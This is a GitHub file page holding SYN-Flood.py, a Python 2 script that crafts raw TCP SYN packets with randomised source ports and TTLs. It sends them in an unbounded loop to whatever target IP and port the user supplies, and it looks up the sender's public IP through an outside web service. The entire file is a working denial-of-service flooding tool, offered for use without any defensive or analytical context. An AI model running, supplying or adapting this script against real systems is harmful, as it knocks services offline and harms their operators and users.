-
Notifications
You must be signed in to change notification settings - Fork 27
/
SYN-Flood.py
87 lines (77 loc) · 2.24 KB
/
SYN-Flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python2
'''
Code by LeeOn123
'''
import socket, sys, threading, random
from struct import *
from requests import *
if len(sys.argv)<=2:
print("Usage: python "+ sys.argv[0]+ " <target ip> <port>")
sys.exit()
def checksum(msg):
s = 0
for i in range(0, len(msg), 2):
w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
s = s + w
s = (s>>16) + (s & 0xffff);
s = ~s & 0xffff
return s
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
print ('Socket could not be created. Error Code : ' + str(msg[0]) +' Message ' + msg[1])
sys.exit()
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
source_ip = get('https://api.ipify.org').text
dest_ip = socket.gethostbyname(str(sys.argv[1]))
def header():
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20
id = random.randint(1,65535)
frag_off = 0
ttl = random.randint(1,255)
protocol = socket.IPPROTO_TCP
check = 10
saddr =socket.inet_aton ( source_ip )
daddr = socket.inet_aton ( dest_ip )
ihl_version = (version << 4) + ihl
global ip_header
ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
def tcp():
header()
source = random.randint(36000, 65535)
dest = int(sys.argv[2])
seq = 0
ack_seq = 0
doff = 5
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840)
check = 0
urg_ptr = 0
offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5)
tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr)
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header)
psh = pack('!4s4sBBH', source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header;
tcp_checksum = checksum(psh)
tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr)
global packet
packet = ip_header + tcp_header
def run():
while True:
tcp()
s.sendto(packet, (dest_ip , 0))
print '.',
run()